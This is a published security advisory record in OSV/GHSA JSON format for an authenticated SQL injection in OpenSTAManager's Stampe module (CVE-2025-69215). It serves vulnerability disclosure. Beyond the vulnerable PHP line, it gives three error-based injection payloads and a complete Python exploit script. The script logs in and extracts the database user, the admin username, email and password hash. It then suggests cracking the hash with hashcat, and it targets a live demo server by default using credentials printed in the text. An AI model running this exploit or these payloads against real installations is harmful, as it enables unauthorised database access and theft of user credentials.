{"id":"GHSA-qx9p-w3vj-q24q","summary":"OpenSTAManager has an SQL Injection in the Stampe Module","details":"## Vulnerability Details\n\n### Location\n- **File:** `modules/stampe/actions.php`\n- **Line:** 26\n- **Vulnerable Code:**\n```php\ncase 'update':\n    if (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n        $dbo-\u003equery('UPDATE `zz_prints` SET `predefined` = 0 WHERE `id_module` = '.post('module'));\n        // ↑ Direct concatenation without prepare() sanitization\n    }\n```\n\n### Root Cause\n\nThe `module` parameter from POST data is directly concatenated into an SQL UPDATE query without using the `prepare()` sanitization function. While the `predefined` parameter is validated with `intval()`, the `module` parameter only has an `!empty()` check, which does NOT prevent SQL injection.\n\n**Vulnerable Pattern:**\n```php\n// Line 25: intval() protects predefined, but module is not sanitized!\nif (!empty(intval(post('predefined'))) && !empty(post('module'))) {\n    // Line 26: Direct concatenation - VULNERABLE\n    $dbo-\u003equery('UPDATE ... WHERE `id_module` = '.post('module'));\n}\n```\n\n## Exploitation\n### Vulnerable Endpoint\n```\nPOST /modules/stampe/actions.php\n```\n\n### Required Parameters\n```\nop=update\nid_record=1\npredefined=1 (must be non-zero after intval())\nmodule=[INJECTION_PAYLOAD]\ntitle=Test\nfilename=test.pdf\n```\n\n### Authentication Requirement\n- Requires valid authenticated session (any user with access to Stampe module)\n- **VERIFIED:** Users with \"Tecnici\" group access can exploit (NOT admin-only!)\n- **PoC:** Demo at https://demo.osmbusiness.it with credentials tecnico/tecnicotecnico\n\n### Exploitation Type\n**Error-based SQL Injection** using MySQL's EXTRACTVALUE/UPDATEXML/GTID_SUBSET functions\n\n### Proof of Concept\n\n#### Method 1: EXTRACTVALUE (MySQL 5.1+)\n```python\nPOST /modules/stampe/actions.php\nContent-Type: application/x-www-form-urlencoded\n\nop=update&id_record=1&predefined=1&module=14 AND EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))&title=Test&filename=test.pdf\n```\n\n**Result:**\n\n\u003cimg width=\"2208\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/710595e8-5cfb-4392-87a5-0b567487af34\" /\u003e\n\n**Extracted Data:** MySQL version `8.3.0`\n\n---\n\n#### Method 2: GTID_SUBSET (MySQL 5.6+)\n```python\nmodule=14 AND GTID_SUBSET(CONCAT(0x7e,DATABASE(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2025\" height=\"903\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eb2b4210-5301-4b3c-81b0-495eaec27af8\" /\u003e\n\n\n**Extracted Data:** Database name `openstamanager`\n\n---\n\n#### Method 3: UPDATEXML (MySQL 5.1+)\n```python\nmodule=14 AND UPDATEXML(1,CONCAT(0x7e,USER(),0x7e),1)\n```\n\n**Result:**\n\n\u003cimg width=\"2027\" height=\"897\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a364951d-566b-4c86-9467-35352bd22c43\" /\u003e\n\n**Extracted Data:** Database user `demo_osm@web01.osmbusiness.it`\n\n---\n\n### Automated Exploitation\n\n**Full Exploit Script:** `exploit_stampe_sqli.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nSQL Injection Exploit - OpenSTAManager modules/stampe/actions.php\n\nUsage:\n    python3 exploit_stampe_sqli.py -u tecnico -p tecnicotecnico\n    python3 exploit_stampe_demo.py -u admin -p admin123 --url https://custom.osm.local\n\"\"\"\n\nimport requests\nimport re\nimport argparse\nimport sys\nfrom html import unescape\nfrom urllib.parse import urljoin\n\nclass StampeSQLiExploit:\n    def __init__(self, base_url, username, password, verbose=False):\n        self.base_url = base_url.rstrip('/')\n        self.username = username\n        self.password = password\n        self.verbose = verbose\n        self.session = requests.Session()\n        self.session.headers.update({\n            'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'\n        })\n\n    def login(self):\n        \"\"\"Authenticate with username and password\"\"\"\n        login_url = urljoin(self.base_url, '/index.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Attempting login to {login_url}\")\n            print(f\"[DEBUG] Username: {self.username}\")\n\n        # First, get the login page to establish session\n        resp = self.session.get(login_url)\n        if self.verbose:\n            print(f\"[DEBUG] Initial GET status: {resp.status_code}\")\n\n        # Send login credentials with op=login parameter (required!)\n        login_data = {\n            'username': self.username,\n            'password': self.password,\n            'op': 'login',  # Required for OpenSTAManager\n        }\n\n        resp = self.session.post(login_url, data=login_data, allow_redirects=True)\n\n        if self.verbose:\n            print(f\"[DEBUG] Login POST status: {resp.status_code}\")\n            print(f\"[DEBUG] Cookies: {self.session.cookies.get_dict()}\")\n\n        # Check if login was successful\n        if 'PHPSESSID' not in self.session.cookies:\n            print(\"[-] Login failed: No session cookie received\")\n            return False\n\n        # Check if we're redirected to dashboard or still on login page\n        if 'username' in resp.text.lower() and 'password' in resp.text.lower() and 'login' in resp.url.lower():\n            print(\"[-] Login failed: Still on login page\")\n            if self.verbose:\n                print(f\"[DEBUG] Current URL: {resp.url}\")\n            return False\n\n        print(f\"[+] Successfully logged in as '{self.username}'\")\n        print(f\"[+] Session: {self.session.cookies.get('PHPSESSID')}\")\n        return True\n\n    def inject(self, sql_query):\n        \"\"\"Execute SQL injection payload\"\"\"\n        # Use UPDATEXML instead of EXTRACTVALUE (works better on demo)\n        payload = f\"14 AND UPDATEXML(1,CONCAT(0x7e,({sql_query}),0x7e),1)\"\n\n        target_url = urljoin(self.base_url, '/modules/stampe/actions.php')\n\n        if self.verbose:\n            print(f\"[DEBUG] Target: {target_url}\")\n            print(f\"[DEBUG] Payload: {payload}\")\n\n        response = self.session.post(\n            target_url,\n            data={\n                \"op\": \"update\",\n                \"id_record\": \"1\",\n                \"predefined\": \"1\",\n                \"module\": payload,\n                \"title\": \"Test\",\n                \"filename\": \"test.pdf\"\n            }\n        )\n\n        if self.verbose:\n            print(f\"[DEBUG] Response status: {response.status_code}\")\n            print(f\"[DEBUG] Response length: {len(response.text)}\")\n\n        # Unescape HTML entities first\n        response_text = unescape(response.text)\n\n        # Pattern 1: XPATH syntax error with HTML entities or quotes\n        # Matches: XPATH syntax error: '~data~' or &#039;~data~&#039;\n        xpath_match = re.search(r\"XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE)\n        if xpath_match:\n            result = xpath_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted via XPATH pattern: {result}\")\n            return result\n\n        # Pattern 2: Look in HTML comments (demo puts errors in comments)\n        # \u003c!--...XPATH syntax error: '~data~'...--\u003e\n        comment_match = re.search(r\"\u003c!--.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?.*?--\u003e\", response_text, re.DOTALL | re.IGNORECASE)\n        if comment_match:\n            result = comment_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from HTML comment: {result}\")\n            return result\n\n        # Pattern 3: \u003ccode\u003e tags\n        codes = re.findall(r'\u003ccode\u003e(.*?)\u003c/code\u003e', response_text, re.DOTALL)\n        for code in codes:\n            clean = code.strip()\n            if 'XPATH syntax error' in clean or 'SQLSTATE' in clean:\n                match = re.search(r\"~([^~]+)~\", clean)\n                if match:\n                    result = match.group(1)\n                    if self.verbose:\n                        print(f\"[DEBUG] Extracted from \u003ccode\u003e: {result}\")\n                    return result\n\n        # Pattern 4: PDOException error format (as shown in user's example)\n        # PDOException: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~data~'\n        pdo_match = re.search(r\"PDOException:.*?XPATH syntax error:\\s*['\\\"]?~([^~]+)~['\\\"]?\", response_text, re.IGNORECASE | re.DOTALL)\n        if pdo_match:\n            result = pdo_match.group(1)\n            if self.verbose:\n                print(f\"[DEBUG] Extracted from PDOException: {result}\")\n            return result\n\n        # Pattern 5: Generic ~...~ markers (last resort)\n        markers = re.findall(r'~([^~]{1,100})~', response_text)\n        if markers:\n            if self.verbose:\n                print(f\"[DEBUG] Found generic markers: {markers}\")\n            # Filter out HTML/CSS junk\n            for marker in markers:\n                if marker and len(marker) \u003e 2:\n                    # Skip common HTML patterns\n                    if not any(x in marker.lower() for x in ['button', 'icon', 'fa-', 'class', 'div', 'span', '\u003c', '\u003e']):\n                        if self.verbose:\n                            print(f\"[DEBUG] Using marker: {marker}\")\n                        return marker\n\n        if self.verbose:\n            print(\"[DEBUG] No data extracted from response\")\n            # Save response for debugging\n            with open('/tmp/stampe_response_debug.html', 'w') as f:\n                f.write(response.text)\n            print(\"[DEBUG] Response saved to /tmp/stampe_response_debug.html\")\n\n        return None\n\n    def dump_info(self):\n        \"\"\"Dump database information\"\"\"\n        queries = [\n            (\"Database Version\", \"VERSION()\"),\n            (\"Database Name\", \"DATABASE()\"),\n            (\"Current User\", \"USER()\"),\n            (\"Admin Username\", \"SELECT username FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Email\", \"SELECT email FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (1-30)\", \"SELECT SUBSTRING(password,1,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Admin Password Hash (31-60)\", \"SELECT SUBSTRING(password,31,30) FROM zz_users WHERE idgruppo=1 LIMIT 1\"),\n            (\"Total Users\", \"SELECT COUNT(*) FROM zz_users\"),\n            (\"First Table\", \"SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1\"),\n        ]\n\n        print(\"=\"*70)\n        print(\" EXPLOITING SQL INJECTION - DATA EXTRACTION\")\n        print(\"=\"*70)\n        print()\n\n        results = {}\n        for desc, query in queries:\n            print(f\"[*] Extracting: {desc}\")\n            print(f\"    Query: {query}\")\n            result = self.inject(query)\n            if result:\n                print(f\"    ✓ Result: {result}\")\n                results[desc] = result\n            else:\n                print(f\"    ✗ Failed to extract\")\n            print()\n\n        return results\n\ndef main():\n    parser = argparse.ArgumentParser(\n        description='OpenSTAManager Stampe Module SQL Injection Exploit',\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        epilog='''\nExamples:\n  # Exploit demo.osmbusiness.it with tecnico user\n  python3 %(prog)s -u tecnico -p tecnicotecnico\n\n  # Exploit demo with admin credentials\n  python3 %(prog)s -u admin -p admin123\n\n  # Exploit custom installation with verbose output\n  python3 %(prog)s -u tecnico -p pass123 --url https://erp.company.com -v\n        '''\n    )\n\n    parser.add_argument('-u', '--username', required=True,\n                        help='Username for authentication')\n    parser.add_argument('-p', '--password', required=True,\n                        help='Password for authentication')\n    parser.add_argument('--url', default='https://demo.osmbusiness.it',\n                        help='Base URL of OpenSTAManager (default: https://demo.osmbusiness.it)')\n    parser.add_argument('-v', '--verbose', action='store_true',\n                        help='Enable verbose output for debugging')\n\n    args = parser.parse_args()\n\n    print(\"╔\" + \"=\"*68 + \"╗\")\n    print(\"║  SQL Injection Exploit - OpenSTAManager Stampe Module          ║\")\n    print(\"║  CVE-PENDING | Authenticated Error-Based SQLi                 ║\")\n    print(\"╚\" + \"=\"*68 + \"╝\")\n    print()\n    print(f\"[*] Target: {args.url}\")\n    print(f\"[*] Username: {args.username}\")\n    print()\n\n    exploit = StampeSQLiExploit(args.url, args.username, args.password, args.verbose)\n\n    # Login first\n    if not exploit.login():\n        print(\"\\n[-] Authentication failed. Cannot proceed with exploitation.\")\n        print(\"[!] Please check:\")\n        print(\"    1. Are the credentials correct?\")\n        print(\"    2. Is the target URL accessible?\")\n        print(\"    3. Is the user account active?\")\n        sys.exit(1)\n\n    print()\n\n    # Extract data\n    results = exploit.dump_info()\n\n    # Summary\n    print(\"=\"*70)\n    print(\" EXTRACTION SUMMARY\")\n    print(\"=\"*70)\n    print()\n\n    if results:\n        for key, value in results.items():\n            print(f\"  {key:.\u003c40} {value}\")\n\n        # If we got admin password hash, combine it\n        if \"Admin Password Hash (1-30)\" in results and \"Admin Password Hash (31-60)\" in results:\n            full_hash = results[\"Admin Password Hash (1-30)\"] + results[\"Admin Password Hash (31-60)\"]\n            print()\n            print(\"  \" + \"=\"*66)\n            print(f\"  Full Admin Password Hash: {full_hash}\")\n            print(\"  \" + \"=\"*66)\n            print()\n            print(\"  [!] Crack with hashcat:\")\n            print(f\"      hashcat -m 3200 '{full_hash}' wordlist.txt\")\n    else:\n        print(\"  ✗ No data extracted\")\n        if not args.verbose:\n            print(\"\\n  [!] Try running with -v flag for debugging information\")\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n### Attribution\nReported by Łukasz Rybak","aliases":["CVE-2025-69215"],"modified":"2026-02-04T20:12:26.221579Z","published":"2026-02-03T19:01:46Z","database_specific":{"nvd_published_at":"2026-02-04T18:16:07Z","cwe_ids":["CWE-89"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-02-03T19:01:46Z"},"references":[{"type":"WEB","url":"https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qx9p-w3vj-q24q"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69215"},{"type":"PACKAGE","url":"https://github.com/devcode-it/openstamanager"}],"affected":[{"package":{"name":"devcode-it/openstamanager","ecosystem":"Packagist","purl":"pkg:composer/devcode-it/openstamanager"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.9.8"}]}],"versions":["2.3.0","v2.4","v2.4.1","v2.4.10","v2.4.11","v2.4.12","v2.4.13","v2.4.14","v2.4.15","v2.4.16","v2.4.17","v2.4.17.1","v2.4.18","v2.4.19","v2.4.2","v2.4.20","v2.4.21","v2.4.22","v2.4.23","v2.4.24","v2.4.25","v2.4.26","v2.4.27","v2.4.28","v2.4.29","v2.4.3","v2.4.30","v2.4.31","v2.4.32","v2.4.33","v2.4.34","v2.4.35","v2.4.36","v2.4.37","v2.4.38","v2.4.39","v2.4.4","v2.4.40","v2.4.41","v2.4.42","v2.4.43","v2.4.44","v2.4.45","v2.4.46","v2.4.47","v2.4.48","v2.4.49","v2.4.5","v2.4.50","v2.4.51","v2.4.52","v2.4.53","v2.4.54","v2.4.6","v2.4.7","v2.4.8","v2.4.9","v2.5","v2.5.1-beta","v2.5.2-beta","v2.5.3","v2.5.4","v2.5.5","v2.5.6","v2.5.7","v2.6-beta","v2.6.1","v2.6.2","v2.7","v2.7-beta","v2.7.1","v2.7.2","v2.7.3","v2.8-beta","v2.8.1","v2.8.2","v2.8.3","v2.9","v2.9-beta","v2.9.1","v2.9.2","v2.9.3","v2.9.4","v2.9.5","v2.9.6","v2.9.7","v2.9.8"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-qx9p-w3vj-q24q/GHSA-qx9p-w3vj-q24q.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}